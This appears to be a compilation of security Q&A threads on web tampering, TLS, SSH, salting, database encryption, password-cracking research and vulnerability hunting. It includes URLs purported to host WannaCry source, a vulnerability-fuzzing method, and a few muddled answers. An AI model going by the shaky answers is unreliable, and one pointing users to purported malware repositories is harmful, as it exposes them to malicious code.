But my problem is that if a malicious user edits the hidden input fields, they can alter the data of the product that they'll be buying (product ID, price, etc.). So I tried creating a button that Paypal suggests (encrypted button), which you have to input the products into Paypal along with their corresponding product ID from my database, that if you think of it, is tedious and not a conventional approach. Or did I just misunderstood the tutorial?

Any better approach?

You are thinking the whole solution wrong. The hosted buttons are meant for the cases when you have a few products.

My suggestion, use the passthrough variable "custom", where you on server create a MAC or other keyed hash over product, status, price, currency and user's IP.

This are then embedded in Custom.
On the receiver end, you validate the MAC before treating the payment as valid.

Even if they tamper with the price for example, the resulting MAC would not validate, and you know the payment has been tampered with. Thus you could either do a automatic refund, or you could validate the values harder, for example looking up the price in database and making sure everything match up.


Is the IPS SQL Injection Prevention in my firewall overly aggressive? I have a firewall with some packet inspection configured to detect SQL Injection attacks. (Dell SonicWall NSA 3500) There is a rule (HTTP Request URI with SQL Statement (IF) 2) that seems to consider any string as an attack if "and" or "or" or some other words are in a query string.

I have a web site hosted behind the firewall. It has a search feature. A user types in a phrase in a text box and this string is sent to the server, where it is parsed, split, massaged, and compiled into a search target to locate entities in the system that have content conforming to the search request entered by the user.

The string is posted in a GET request. If I try to find content with "this or that" the firewall sees "OR" and drops the request, because sometimes you can write SQL queries that have "or" in it, I guess.

I am able to modify my own systems to resolve this issue. I am not interested, here, in finding ways of making my system work. I am, instead, interested in understanding why the rule has been included, and if it is a good thing to include.

Is a firewall rule that says something like "any request string that has any word that might possibly be used to construct an evil SQL statement deemed evil, itself" a reasonable rule?

Skip Sailors

IPS systems are not plug-and-play, set-and-forget devices. They need to be tuned and monitored constantly to work effectively in your environment. If you enable every possible rule, you are going to get lots of false positives like the one you are seeing. That particular rule might make sense to be enabled in some environments, but clearly it is not appropriate in your environment because there is a lot of legitimate traffic that matches that rule.

The usual approach for setting up an IPS system is to put it in passive, monitoring mode where it doesn't block any traffic. Then the alerts are manually reviewed, and any rules that keep triggering false positives are disabled. Once you are confident that the system won't interfere with legitimate use, then you can re-enable blocking. Adjust your IPS to work with your environment, not the other way around.


Is a user being able to view their own UID a security risk? Working on a web app with a token auth system, I'm wondering if giving a user access to view their own user id, a security risk? It won't be viewable easily, they'd have to hash a few cookies first.

Not only looking for answers specific to this implementation, I'm just curious about this in general too.

For my specific case, I'll be using JSON Web Tokens, which means that the UID is view able by the client, but due to the nature of JWT - the token is invalid should the payload be modified.

In this context, guessing someone else's UID by knowing the format of the UID, isn't helpful, since only the uid + the signature form a valid token, and therefore a valid request.

In your specific case it appears not. However in the general sense it depends on how your UIDs are used. If your UIDs are used anywhere in your system as trusted information, and your user can deduce other UIDs from their own, you have a problem. For example, the British company Moonpig made the news a few years ago when it was determined that their user IDs were consecutive, and that a user's ID was sufficient information to request a user's private information including names, birthdays, addresses, last four of credit cards and credit card expiration dates.

If your UIDs are sufficiently random, then leaking them does not decrease security because they provide no additional information about other accounts to an attacker. They would still need to manually enumerate the possible UID space to find valid ones. However, UID enumeration is not especially difficult and so sensitive transactions should always be protected by at least one other private piece of information. In your case that second piece of information is the token which signs the request.


What is the difference between SSH and IPsec? There seems to be similar encryption going into both.  They both use asymmetric (RSA, elliptic curves, etc) for the initial key exchange, then go to some symmetric (AES, Blowfish, etc) protocol.  I'm wondering if someone here might have a moment to explain the difference between the 2 and how they would appear differently to the user (speed, applications they're present in, etc).

@graham-hill's answer is correct in general but short and pedantically incorrect, so I'll expand upon it.

SSH is at the Application level - you can think of it as SSH/TCP/IP, or SSH-over-TCP-over-IP.  TCP is the Transport layer in this mix, IP is the Internet layer.  Other "Application" protocols include SMTP, Telnet, FTP, HTTP/HTTPS...

IPSec is implemented using two separate Transports - ESP (Encapsulating Security Payload for encryption) and AH (Authentication Header for authentication and integrity).  So, let's say a Telnet connection is being made over IPSec.  You can generally envision it as Telnet/TCP/ESP/AH/IP.

(Just to make things interesting, IPSec has two modes - Transport (outlined above) and Tunnel.  In tunnel mode, the IP layer is encapsulated within IPSec and then transmitted over (usually) another IP layer.  So you'd end up with Telnet/TCP/IP/ESP/AH/IP!)

So - you ask "explain the difference between the two" -

SSH is an Application and IPSec is a Transport.  So SSH carries "one" type of traffic, and IPSec can carry "any" type of TCP or UDP traffic.*  This has implications described below:

You ask, "how they would appear differently to the user" -

Because IPSec is transport layer, it should be invisible to the user - just as the TCP/IP layer is invisible to the user of a web browser.  In fact, if IPSec is being used, then it is invisible to the writer of the web browser and web server - they don't have to worry about setting up or not setting up IPSec; that's the job of the system administrator.  Contrast this to HTTPS, where the server needs a private key and certificate properly enabled, SSL libraries compiled in, and code written; the client browser has SSL libraries compiled in and code written and either has the appropriate CA public key or screams loudly (intruding upon the application) if it isn't there.

When IPSec is set up, because it acts at the transport layer, it can support multiple applications without any trouble.  Once you've configured IPSec between two systems, it's a really minor difference between working for 1 application or 50 applications.  Likewise, IPSec makes an easy wrapper for protocols that use multiple connections like FTP (control and data may be separate connections) or H.323 (not only multiple connections, but multiple Transports (TCP and UDP)!).

From the administrator's point of view, though, IPSec is heavier-weight than SSH or SSL.  It requires more setup as it works its magic at the system level rather than the application level.  Each relationship (host-to-host, host-to-net, or net-to-net) needs to be set up individually.  On the other side, SSH and SSL are generally opportunistic - using either a PKI (CA) or web of trust model, they make it reasonably easy to trust the other end of the connection without much setup ahead of time.  IPSec can be opportunistic, but it isn't generally used that way, in part because configuring an IPSec connection often requires trial and error.  Interoperability between different vendors (Linux, Checkpoint, Cisco, Juniper, Etc) is not seamless; the configuration used to make Cisco<->Checkpoint is likely to be different than the configuration used to make Cisco<->Juniper.  Contrast that with SSH - the OpenSSH server doesn't really care if you're running Putty, OpenSSH (*nix or Cygwin) SSH, or Tectia SSH.

As far as speed goes - I don't have any good numbers to give you, and part of the answer is "it depends" - if IPSec is involved, then the actual IPSec processing is likely to be offloaded to a firewall or VPN concentrator with dedicated fast hardware, making it faster than SSH which is pretty much always crypting using the same general-purpose CPU that's running the server operating system and applications as well.  So it's not really apples-to-apples; I'll bet you could find use cases where either of the two options is faster.

* This isn't strictly true.  SSH supports a terminal application, file copy/ftp application, and TCP tunneling application.  But effectively it's just a really rich application, not a transport - its tunneling is not an IP Transport replacement.


SSL encryption and SSL certificates I know for a fact that it's possible for for an SSL\TLS session to go on without an SSL certificate, meaning you pass encrypted data, but you don't have a solid foundation of who you are really working with.

How is this carried out?

And is the SSL communication process when connecting to an endpoint with PuTTY different from when I am communicating with a web server on a secure session?

SSL/TLS begins by a procedure called handshake, in which client and server agree on which cryptographic algorithms they will use (the cipher suite), and do some asymmetric cryptography magic to establish a shared secret, which, for the duration of the session, will be used to do symmetric encryption and integrity checks on subsequently exchanged application data.

Usually, the "key exchange" bit assumes that:

the server sends his public key as part of a certificate (as specified in X.509);
the client validates the certificate with regards to his own set of trust anchors (aka "root certificates") to make sure it is genuine, and contains the public key of the intended server;
the client uses the server's public key to do the asymmetric key exchange, normally by encrypting a random string with the server's public key (the server will use his private key to decrypt it back)(I am skipping over details irrelevant for this answer).

The hard part about a server certificate is that the server needs to have his public key in a certificate which the client will accept. Since the client accepts certificates based on their signature, to be verified against a finite set of a priori known public key (the keys of the "root certification authorities"), a certificate apt for validation may be obtained only by asking the said certification authorities. Most CA will do this only at a price (StartSSL will do it for free). Things are simpler if you control the client code, because you could add your own "root certificate" in the client, and, in effect, manage your own CA and issue your own certificates. This is still key management (the dreaded Public Key Infrastructure), and, as such, entails a non-zero cost.

You can do "certificate-less" SSL in two ways:

You can use one of the "DH_anon" cipher suites. These are cipher suites in which both client and server agree that there is no certificate at all; key exchange relies on Diffie-Hellman key exchange. Most client implementations (read: Web browsers) can support that, but it is very often deactivated by default.
You can have your server send his public key as a fake certificate. A certificate is just a container format; as long as you put a sequence of bytes of approximately the right length in the "signature" field, it will fit the format (traditionally, we use "self-signed" certificates -- as if the server was its own CA -- but any sequence of junk bytes will do). Of course, the client will no longer be able to validate the certificate. Web browsers will loudly complain with scary warnings.

You may note that while a Web browser will shout and scream at the sight of a self-signed certificate, it will also allow (after clicking a few times on "I know what I am doing" buttons) to install an "exception", by which the client accepts to use that unvalidated certificate. The good part of the exception is that it can be made permanent: the server stores a copy of the offending certificate, and, the next time the client connects to the same server and the server sends back the very same certificate, the client no longer complains. With an installed exception, there is a window of weakness (namely, when the user decides to "install the exception": at that time, he does not really know whether the certificate is the right one, or that of a meddling attacker), but afterward the security is restored.

(It is still an idea of questionable quality, to train your users to bypass the scary warnings by installing exceptions.)

Putty is not a SSL client; it uses the SSH protocol, which is conceptually similar to, but practically distinct from, the SSL protocol. The SSH protocol is certificate-less, because it relies on the same model than what I described above with self-signed certificates and installed exceptions. The first time you connect to a given server, the SSH client (Putty) will ask for confirmation before accepting the server public key, normally displaying the "fingerprint" of the public key (a hash value) so that you may compare that fingerprint with the expected value (that you know "out-of-band", e.g. you learned it by heart, or you phoned the sysadmin and he spelled it out for you). The SSH client will then permanently record the public key, and not ask for confirmation anymore -- but if a given suddenly uses a different public key, the SSH client will wail even more loudly than a Web browser confronted to a new self-signed certificate.


WannaCry Source Code Maybe this is a stupid question: Is the WannaCry source code public?

https ://github.com/svenvdz/wannacry

https: //github.com/Hackstar7/WanaCry

https: //github.com/fadyosman/WannaCrySample

I didn't really find anything on github or google. Is the svenvdz repo the source? Everything else wannacry related on github is definitely not it. I thought it would've been made public by now.

Is the WannaCry source code public?

No. It is not.

That is why malware researchers have been laboring to reverse engineer the ransomware functionality using tools such as debuggers and disassemblers. For some malware, source code may eventually leak out, and it makes life easier for a malware researcher, but in general all we have is a binary or a DLL.

  I thought it would've been made public by now.

That depends on the original authors of the ransomware and whether they consciously or accidentally leak the source code, or if they have a security breach and the code is stolen from them. They did not consciously or accidentally leak it yet or have it stolen as far as I know.


How do I find vulnerabilities in software? I read an answer here which talked about becoming a PenTester. The answer said that you have to learn to break software. I posted a comment on the answer asking where do I start learning to break software, but I didn't get any replies, so I decided to ask my own question. How do I learn to break software? I am already a programmer and I know Java, C++. Also I am familiar with JavaScript, CSS, HTML, Python and C. I regularly read about security vulnerabilities, but now I want to know how do I find them.

Thanks.

Edit: I've done things like using the winnt.h header in C++ to change the entry points of executables, and add new sections to executables, hell I've written a whole working windows executable only with a hex editor.

Edit: Narrowing down the question: I am interested in website and webserver vulnerabilities, Operating System vulnerabilities, Vulnerabilities in computer memory like MemoryLeaks, things like viruses, etc.

There is no one way to find vulnerabilities.  But here are some steps you can follow.

Target

First you need to choose a platform and a piece of software to attack.  To begin I would choose something that is open source.  There are several advantages to this; the main one being that you can look at the source code.  You then need to pick an aspect that you would like to attack.  For example, maybe you want to attack the UDP implementation of the Linux networking stack.

Performing an analysis on a closed source piece of software means you're disassembling the binary, rooting through instructions, and debugging the process.  This is long and tedious.  Better to get a grasp as to what breaks code with source code before you go looking for it in disassembly.

By being specific in your target allows you to systematically analyze a piece of software.

Analyze

With your target in mind begin your analysis of the portion of the software you want to find vulnerabilities.

Determine which source code files affect your target.
With open source you can insert debug messages to ensure you understand the code flow.  This can be extremely important.  Knowing what sections of code are called, and the variables that lead to that outcome is key in understanding what is going on.
Run code analysis tools over the project.  Depending on the project this might be a moot point, but they can be handy and catch common programming errors.
Enable all of the compiler build flags.  Your goal is to find programming errors.  What better way than to have the compiler tell you where it thinks the code is bad.

These are just a few of the things you can do to analyze the software.  Build a list of possible coding errors.

Triggering

Now with a list of possible coding flaws you need to determine if you can trigger them.  Again, debug messages will help you.  Go back to the source code and determine what exactly needs to happen for each coding flaw to break the software.  You're not looking for full exploitation, you just want the code to crash, or do something unexpected.  You need to determine what could trigger a coding flaw.  This could be anything from affecting a length variable, tricking a function to take a path to process data incorrectly, etc.  Some coding flaws just aren't triggerable, but that's the nature of vulnerability analysis.

At this point you have a list of flaws, and a list of ideas for each flaw on what might trigger it to do something unexpected.

Fuzzing

Now you write code.  Using pretty much whatever programming language is convenient for the software you're attacking.  You could write Python code to throw specific packets at network devices to attempt to take down the UDP implementation of a Linux based device.

The goal is to implement your triggers, and hope that the code works the way you think.  Your debug messages will be helpful here.

They can tell you if the code path taken is abnormal.
They can show you variables that you're attempting to manipulate
They ensure that your trigger is doing what you expect, and you can adjust it accordingly.

With any luck you're able to cause something different to happen.  Maybe that can lead to code execution, maybe not.  That's a horse of a different color.

Reality

Vulnerability analysis takes time.  A lot of time.  You're not going to spend a day analyzing software and find 10 vulnerabilities.  The unofficial average for vulnerability analysis is 1 vulnerability per 3 months of analysis.  You can double that time if you're analyzing a non-open source project.


Remove irc whowas history I registered a "foo" account on freenode irc server.
When I run

/whowas foo

I can see the last login of "foo" user and public IP. I want to remove that information and I have tried to connect/disconnect many times but all logins are tracked.

How many of such logins are tracked? (better: how many login/logout I must do to remove some entry?)
Is there a way to remove login history?

On all IRC servers I've seen, the WHOWAS information is stored in memory. It will be removed automatically after a short amount of time (on the order of hours, typically). The information is updated every time you log out, so logging in and logging out will extend its lifespan.

Some IRC services keep extended information about the last hostname a user logged in with, which can usually be viewed with /msg NickServ INFO <yournick>. This data is usually kept until the nickname expires and is unregistered. The Rizon IRC network behaves this way. Getting rid of this information requires logging in with a hostname that you do not mind being public.

The behavior of the WHOWAS command is defined in RFC 1459 § 4.5.3.


Mutual authentication of SFTP server We can use public/private key pairs for client authentication when connecting to a SFTP server. Can we also have mutual authentication so the client also verifies a public key from the server?

Both my client and SFTP server are Linux boxes. I used ssh-keygen to generate a key pair for a client and then ssh-copy-id to give my server my client's public key. Would this also work vice versa from server to client? I can't test it out right now because I'll need to ask my sysadmin for access to the client server.

Authentication to SSH

Authentication takes two primary forms, username and password, and key-based authentication.

There is also an authenticity check performed when the client connects to the SSH daemon by confirming that the trusted public key has not changed by comparing the fingerprint that is in the trusted database known_hosts, and what the server presents. If these match, connection continues, the server challenges for authentication, and once validated, the full session is established.

What is mutual authentication?

Before talking about SSH, let's talk about mutual authentication in a typical implementation. A TLS mutual authentication presents certificates to both the server and the client, confirming identity. This is commonly used in B2B applications, such as API endpoints. This provides the benefits of PKI (encryption in transit, integrity checking, and revocation through CRL and OCSP responders) while providing authentication of the identity.

What about implementing that in SSH?

By default, this won't work. The SSH client connects to an SSH daemon. This would require that the server have client credentials on the client. Confusing? Let's take a step back.

User (You) -> SSH key -> Server

This is normal behavior. We want to flip that and establish trust in the reverse:

Server -> Different SSH key -> User (You)

This is dangerous. There are a few reasons why:

Compromise of the server would allow pivoting to the corporate desktop network, or to a user's home network. Either situation would be devastating.
ACLs in the enterprise should not allow this to happen. This makes pivoting and data exfiltration much simpler for an attacker.

Conclusion

This is possible, but rarely done, and is dangerous.


Reset password with email client which link checking I've encountered the  situation where the email client checks all links in emails, so that when I send an email with a reset password link, the user gets the new temporary password in the next email at once. But it should be sent only if the user clicks the link.

Reset scenario:

User enters login and email address and press reset button
User gets an email with the reset link
User clicks the link
User gets an email with temporary password
User logs in with temporary password

Could you recomend a solution to this problem?

You could insert captcha on temporary page. It will exlude any automatical clients.

In addition, to spare users' time, you can create a whitelist of popular user-agents where captcha won't be needed. This way most users will not see additional step and you will be protected against automatical clients.

NOTE: This is NOT protection in terms of security. Remember that user-agent can be extremely easly spoofed by any client.


Can a secret, S, be efficiently recovered from a list of usernames and SHA256(S + username)s? Given a set of usernames and their corresponding proofs of knowledge of a shared secret: SHA256($SECRET + username), can an attacker recover $SECRET more efficiently than by brute force?

(This is assuming $SECRET is not easily guessable, a 256 bit random string, for example.)

No. This would require a first-order preimage attack against SHA256.

However, for cases where you wish to key a hash, HMAC constructions are a better choice.


What attacks can be done from a "sketchy" internet site I've heard that tabs in modern web browsers are fairly well sandboxed, so what kind of attacks could a malicious site do to your computer and/or web browser assuming you don't do anything obviously stupid (like download and run a file from it)?

Does it make a difference if you are using a private / incognito tab to remove any cookies you have from other sites?

The two main issues that come to mind would be installation of malware via browser vulnerabilities and exploitation of vulnerabilities in other websites.

Exploiting client-side vulnerabilities in other websites

Examples: CSRF, XSSI, XSS, JSONP, CORS, postmessage, clickjacking, etc.

As you mentioned, tabs are sandboxed fairly well because of the same origin policy. But web applications can introduce vulnerabilities to weaken this separation, allowing one website to send or receive data from another one, in the name of the user.

private/incognito mode will prevent these issues to a high degree, as they rely on exploiting the current authentication a user has with other websites.

Exploiting vulnerabilities in the browser

Examples: drive-by-downloads, buffer overflows, etc

A malicious website may attempt to exploit vulnerabilities in the browser itself, which may allow execution of code on the victims computer and thus installation of malware.

private/incognito mode will not prevent this.

Misc

Phishing. Don't enter sensitive data on sketchy sites, or sites they link to (or verify that you are actually on the site you want to be).
Leak of information about you (IP, browser & OS info, etc).
Leak of information about your network: the attacker can issue requests to the internal network you are in - eg by requesting images - and thus gather information about it.

private/incognito mode will not prevent these.


Are there some good papers (or discussions) on using Markov chains or Hidden Markov Models for password auditing/cracking? As a programmer and language enthusiast I've been very interested in Markov chains for some time. Considering the influence of natural language on password and passphrase selection (by humans of course) I would like to know the state of the art in applying Markov Chains and Hidden Markov Models to the task of guessing passwords.

Are there some good papers or articles on this topic I should read?

Papers. In addition to @Dogeatcat world's excellent answer, here are some more papers:

Matt Weir, Sudhir Aggarwal, Breno de Medeiros, Bill Glodek, Password Cracking Using Probabilistic Context-Free Grammars, IEEE Security & Privacy 2009.

Arvind Narayanan, Vitaly Shmatikov, Fast Dictionary Attacks on Passwords Using Time-Space Tradeoff, CCS 2005.

Matteo Dell’Amico, Pietro Michiardi, Yves Roudier, Password Strength: An Empirical Analysis, Infocom 2010.  (Thanks to @Martin Carpenter for this one.)

Manjesh Kumar Hanawal and Rajesh Sundaresan, Randomised attacks on passwords, Technical report TR-PME-2010-11, DRDO-IISc, 2010.

C. Davies and R. Ganesan, Bapasswd: A new proactive password checker, NCSC 1993.

I'd start with the paper @Dogeatcatworld mentions, but then read the ones I cited above.

Tools. I believe John the Ripper implements a Markov-model based mode.  See also MiddleChild.

Tips. Here are some tips to help you find research papers, in the future.  I'd start by going to Google Scholar, Microsoft Academic Search, and Citeseer.  Enter in some search terms and see if you can find any papers that look relevant (when you see some candidates, reading the abstract can often tell you if it will be useful to you).  When you find some papers that are on-topic or at least nearby, read the related work section of those papers to find older papers that might also be relevant.  Also, when you find papers that are relevant, use these web services to list other papers that cite them; sometimes that can help you find newer papers that might be relevant.  Hopefully this will help you do a literature search in the future!


How secure is QEMU/KVM? I'm worrying about the security of the VM host machine (against guests) as the Kernel-Based Vitrual Machine operates at kernel level.

UPDATE: Is there any guarantee that a guest can't manipulate/break the host system (execute instructions, etc.)?

UPDATE (to avoid "absolutism"): If there isn't any such guarantee, is the KVM less secure, than a non-K VM?

There is no guarantee with any computational system that it can't be broken/manipulated.

Here is a list of vulnerabilities in QEMU, its up to you to determine if your specific version is vulnerable or not, and how "easy" it is to be targeted.

As a side note: we tend to avoid absolutisms in infosec because there usually is no guarantee of anything, what is bullet proof today is a swiss cheese tomorrow.


How does a system authenticate a user using a hash function, after it has been salted? I don't really understand how salting works. I read the Wikipedia article, but I still don't understand how can a system authenticate a salted hash?

Let's say a user chooses a password. It's randomly salted and hashed. Now, when that user wants to login again, his password is hashed again and compared with the salted and hashed  password saved from the last time. The hashes won't match, will they?

I mean, I guess they DO match in some way. But how?

When you hash the password the first time (when the user registers), you use a salt and store both the salt and the resulting hash in the database.

The second time (when they try to log in again), you use your username to pull the salt and the hash out of the database. You use the salt to hash their password input, and compare the two hashes.

You may be wondering "but if someone gets access to my database, they have all the salts - isn't this a huge problem?". The fact that they have the salts isn't a problem, since the purpose of the salt isn't to add something "secret", it's to ensure that if two users have the same password they have different hashes since the hashes were created with different salts.

If you didn't use salts, or if you used exactly the same salt for every user (unfortunately not an uncommon mistake), there will be a lot of duplicate hashes (since some people will use the same password, and those identical passwords will all have identical hashes). If someone gets access to your database, they can look for the hashes that appear most often, concentrate on cracking those hashes, and for each one they manage to crack they have access to multiple accounts. By salting each hash differently, chances are very high that there won't be any duplicate hashes - the different salts mean that even duplicated passwords will have different hashes. For each hash they crack, they get access to exactly one account - no more. That's the purpose of the salt.


Database row level encryption scheme I am wanting to secure some highly sensitive data in a database. This would mean that the data needs to be encrypted and remain secure for 100 years if it were to fall into adversary hands. I also want to limit the amount of data that is vulnerable in plaintext at a time in RAM. This is so there is less chance of plaintext data being paged to disk. Also the database may be quite large so it needs to be more efficient than decrypting the whole database at a time just to access it. Therefore I am thinking about encrypting the sensitive data on a database row level. This would mean a unique index which references the record is unencrypted, so each record can still be found/retrieved, however the sensitive data itself is encrypted.

My solution would be to have the data per database row:

index | IV | sensitive encrypted data | MAC

A 256 bit database key will be used to encrypt the sensitive data which will be generated using /dev/random.
The IV for each row will be 256 bits from /dev/urandom (faster than /dev/random).
The encryption algorithm will be Twofish.
The MAC of each record will be HMAC-SHA3 of the index, IV & sensitive data using the key.

The system is single user. The user will create a strong alphanumeric passphrase (minimum 19 characters).

A password based key derivation function will be run on the passphrase to create a derived encryption key which will then be used to separately encrypt the database key with Twofish. This is so the user can change their password without having to re-encrypt the entire database - they can just create a new password and re-encrypt the database key instead. I understand that this is the weakest part of the scheme, but would like to make it very difficult for an attacker to brute force attempt password guesses. I think the security needs to rest in the strength of the passphrase, as any sort of secondary token could be compromised at the same time as the device which holds the encrypted data (I am thinking the device & token could be confiscated for arbitrary reasons when going through airport security so it would be no use).

To derive the key from the passphrase, PBKDF2 will be used with 10,000 iterations using HMAC-SHA3 with a 256 bit output and a salt of 256 bits obtained from /dev/urandom.
What I am trying to do is balance the number of password characters required to make the data secure versus making it reasonably fast for users on a mobile device which have slow processors and limited memory. I don't expect the user to wait more than 5 seconds for the PBKDF to complete.
A MAC is created using HMAC-SHA3-256(derived encryption key, salt | encrypted database key) and stored next to the salt and encrypted database key on disk. This can be verified when logging in to make sure they entered the correct password.

When the program loads, the user enters the passphrase. The KDF runs, which generates the key to decrypt the database encryption key. The real encryption key is then the only thing kept in RAM while the program is running and used to verify and decrypt individual database records when required.

What's the optimal length for the row level IV? Is 256 bits fine?
Is the minimum password strength of 19 characters and 10,000 iterations of PBKDF2 strong enough to protect the 256 bit database
key? If not, what parameters would work?
Is PBKDF2 still a good algorithm still to use here? If not, what Scrypt parameters?
Any further changes or recommendations to make the system secure?

What's the optimal length for the row level IV? Is 256 bits fine?

The answer depends on whether some of the plain text will be known or can be easily guessed by the attacker.  The question described the data as, "Highly sensitive," and the protection period of, "100 years," so use the strongest cipher and largest secret conveniently available for encryption.

  Is the minimum password strength of 19 characters and 10,000 iterations of PBKDF2 strong enough to protect the 256 bit database key? If not, what parameters would work?

The answer to the number of characters is not determinable without knowing the rules imposed on passwords during validation.

  Is PBKDF2 still a good algorithm still to use here? If not, what Scrypt parameters?

An answer exists that provides some good background on bcrypt or PBKDF2.

  Any further changes or recommendations to make the system secure?

Yes. Many. Here are a few.

Remove all redundancy that you can reconstruct in query results after decryption.
Ensure that the salt used to exhaust the block before encryption is truly unpredictable.  (Use the best entropy source you can acquire on the server.)
Separate critical payload from less critical payload if they can be statistically independent to reduce the memory footprint of the plain text versions of the critical data.


Apple Watch Unhackable without iPhone? In response to the UK banning Apple Watch from cabinet meetings, this article implies that the Apple Watch is essentially harmless (unhackable) with the paired iPhone inaccessible. This seems ridiculous, since the watch has GPS, Microphone, Bluetooth, and Wi-Fi capabilities. I would expect that a hack could occur before, during, or after a meeting and retrieve information exposed regardless of the paired phone's status. I'm going from statements made by Apple here.

Is there something I'm missing with the iPhone pairing? Is there any legitimacy to the assertions in the linked article?

Relevant quote:
"This means that no one can hack into the Watch once the phone is offline, which itself means all the UK government needs to do is switch its smartphones off. It’s a typical misstep. Though it does make sense to keep all the electronics offline during a critical meeting, I guess."

The iWatch, like most computer equipment, is designed to be secure. However, vulnerabilities can arise which mean it doesn't really deliver the security it is supposed to. The vulnerabilities could be design weaknesses (e.g. poor encryption), coding weaknesses (e.g. buffer overruns), user error (e.g. weak passwords) and much more.

An iWatch is a computer. If it is hacked, it can be programmed to do whatever the attacker wants. It could record all the audio - even if offline - then next time it is connected to the Internet, it uploads the audio to the attacker's server.

As far as I know, there are no public exploits against the iWatch (this doesn't count). But who knows what attacks have been discovered in secret? There are plenty of people trying to create malware like this.

The cabinet is more-or-less the most confidential meeting that happens in the UK. They are certainly a target for sophisticated espionage attacks, so banning iWatches makes complete sense. The article you reference is not credible.


Does appending randomness to a token before encrypting it, make it more secure? Scenario:

User requests page on my site
Server builds up token using various values, encrypts it (via an industry-standard algorithm, nothing homegrown) using a key only the server knows, and returns it as part of the page data
Token is embedded into link on page
When client clicks that link, token is sent to server, decrypted and parsed and the values used to determine what to do

This is done because we need certain bits of information to be sent from the client to the server, but we don't want to leak those bits of information to the client because they would reveal details of the server's inner workings.

The issue here is that, every time a particular user views a particular page, the same token will be generated for them. Apart from allowing the same request to be replayed against the endpoint ad infinitum, this makes it more likely that someone will be able to break the token encryption (yes, I know this isn't likely, but it is possible).

To make the encryption even more resilient, my intention is to insert a high-quality random value - say a GUID - into the token before it is encrypted. The end result will be to introduce more entropy into the encryption process, meaning that for a given set of identical values that we care about (i.e. everything except the random value), the generated token will almost certainly differ. This random value will always be inserted in the same place and will always be the same length, so removing and throwing it away after the token is decrypted is trivial. Effectively, this is augmenting encryption with obfuscation.

It appears to my untrained eye that this is a relatively simple and safe solution to my problem, but is it, or am I just wasting my time and/or making things less secure and more complicated?

You don't need to add any randomness to an encrypted token. If it's properly encrypted, user has no way to infer anything about the encrypted data.

  The issue here is that, every time a particular user views a particular page, the same token will be generated for them.

This seems odd. Your encryption does not seem to use a secure standard. Otherwise every time you encrypted the same token, the cyphertext would change. You must use an IV, and never ever think about AES-ECB, that mode is broken and should not be used even to teach kids how AES works.

If you use industry standards, you will know about the Initialization Vector (IV). In rough terms, the IV is a value added to the process that changes the cyphertext, so even if you encrypt two identical plaintexts with the same key, the corresponding cyphertext will change.

The IV is the random data you are thinking about adding. It's already there.


Are repeating random patterns weaker than non repeating random patterns? Which would be harder to crack: a password comprising of n characters randomly selected or a password comprising of x randomly selected characters repeated m times so that m*x=n.

For example:

9*jtRf_ki&^tN4%^E3d^75HG

As oppose to:

u7I*u7I*u7I*u7I*u7I*u7I*

or:

kL:@90kL:@90kL:@90kL:@90

As far as I can tell none of the above contain dictionary words and they all contain a good mix of keyboard characters, i.e the attacker would to try capitals, numbers, special chars etc. so they should be hard to crack.

Why might the former example be harder to crack than either of the latter two?

The intention is be able to provide password advice that renders brute forcing attacking really difficult but gives a human easy visual / muscle memory.

For the purpose of the question assume the attacker is coming in blind, they have no knowledge of the pattern or whether or not a pattern would be used and there is no requirement that a password be a repeating pattern, it could be anything, though they do know that any character and any length is allowed for the password.

Here is line #950 of file /etc/john/john.conf, which contains rules for creating passwords to test:

# Try strings of repeated characters.

So I would say that, yes, there is an increased risk at choosing repeated patterns for a password, as some cracking tools do take this possibility into account.

Regardless of that, I would not advice people to do so anyway; if an external attacker may not know that password are made of repeated patterns, an internal person of my organization could be tempted to get unauthorized access to another account. Or information could leak anyway, and an external attacker could know about it. Your first example u7I*u7I*u7I*u7I*u7I*u7I* has only four bytes of entropy, it's very low.

Still, if you had to choose between u7I*u7I*u7I*u7I*u7I*u7I* and u7I*, I guess first solution would still be better, but that's far from ideal.

What about suggesting to users to use a password managing tool instead?


How to audit JavaScript written by someone else before including it on my site? I want to include a feature to add a sort function on an HTML table on my site, using the tablesorter library.

I would be using this on a part of the site that requires a login to access data. But I am worried the library might sneak in malware or try to exfiltrate the data that is displayed in the table. What should I look for in the JS file to make sure that I am not making data on the site vulnerable by including this JS that someone else has written?

I would be hosting the script on my servers and wouldn't be linking out to a 3rd party file.

One imperfect solution is to rely on reputation. Does the library have many users? Lots of downloads at GitHub or npm? An active community? Do any large established actors use it? A backdoor in jQuery would have been discovered by now, but one in a small obscure library might not.

If that is not good enough for you, the next step is to go through the code. There are some heuristics you can use. Obfuscated code is a big red flag. So are any unexpected HTTP requests using e.g. XHR or fetch. But a clever attacker can hide code to exfiltrate data - an unsuspicous looking image tag could be used to make a HTTP request for instance. So don't expect to be able to do this with grep. If you have doubts, maybe you should aim for at least a superficial understanding of the entire code base.


new wildcard certificate if I already own another certificate for a subdomain I already own a certificate for a subdomain sub1.domain.com but I would like to secure all subdomains of domain.com buying a wildcard certificate.
Can I still use the specific certificate for sub1.domain.com (so it works like an override of the wildcard certificate, like a wildcard DNS record) or I am required to install on that subdomain an instance of the new wildcard certificate?

There is no reason you can not use both certificates.

However take note that a wildcard certificate is only valid for a single leaf (so something.example.com and not invalid.something.example.com)

the 2 certificates are completely independent of each other.
It is even possible (although that would break CA guidelines) to issue multiple certificates for the same FQDN.


How secure is ssh key-based authentication I have a newly installed (and updated) Centos 7 server I use for testing.

I implemented RSA key based authentication for ssh and set PermitRootLogin to without-password

When I logged on this morning I ran netstat -plant and found a couple of established connections on port 22 from China and France.

I find it hard to believe that a 4096 bit rsa key can be cracked within the space of one evening.

Are there any exploits / vulnerabilities that can be used to circumvent key-based authentication with OpenSSH?

Is key-based auth the best option to allow access with SSH? What are the alternatives?

RSA keys are sufficiently secure for the foreseeable future, and 4096 bit might even be overkill.

If you're worried you could look into setting up something like fail2ban, but if you don't allow password authentication and you have RSA keys with >= 2048 bits you're fine.

I expect if you check your auth logs you'll find a lot of authentication failures from those addresses, and that's pretty normal. Right now my public facing ssh server has a 14MB auth log, with over 82,000 failed login attempts for root:

sudo grep -i root /var/log/auth.log -c
82023


How to generate a CSR via command line/openssl I am looking for a handy cheat sheet/cookbook recipe for how to locally generate a solid Certificate Signing Request in OS X (10.9; Linux would be of course similar if not the same), that I can use to purchase an SSL cert for my website.  I have seem some options out there on the web but haven't seen good rationale for their openssl option choices. Thanks for your answers.

My solution:

openssl genrsa -rand large-file-of-quote-random-data -aes256 -out private.key 2048

You will be asked for a password to encrypt the private key. Next use

openssl req -new -sha256 -key my-private.key -out csr.pem

